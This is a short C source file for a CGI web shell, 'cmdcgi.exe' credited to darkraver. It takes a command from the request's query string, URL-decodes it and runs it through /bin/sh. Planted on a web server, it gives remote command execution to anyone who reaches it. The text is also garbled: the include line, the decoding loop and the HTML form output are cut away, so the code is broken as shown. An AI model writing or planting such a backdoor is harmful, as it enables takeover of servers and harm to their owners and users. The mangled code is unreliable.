// // cmdcgi.exe 0.1 darkraver (12/05/2005) // #include char *uri_decode(char *uri) { int i=0; int ptr=0; char *command; char hexa[3]; char code; command=(char *)malloc(strlen(uri)); for(i=0;i\n"); cmd=(char *)getenv("QUERY_STRING"); if(!cmd || strlen(cmd)==0) { printf("

"); printf(""); printf(""); printf("


"); } else { //printf("QUERY_STRING: %s\n", cmd); cmd+=4; cmd=uri_decode(cmd); printf("

COMMAND: %s


\n", cmd);
    fflush(stdout);
    execl("/bin/sh", "/bin/sh", "-c", cmd, 0);
    }

}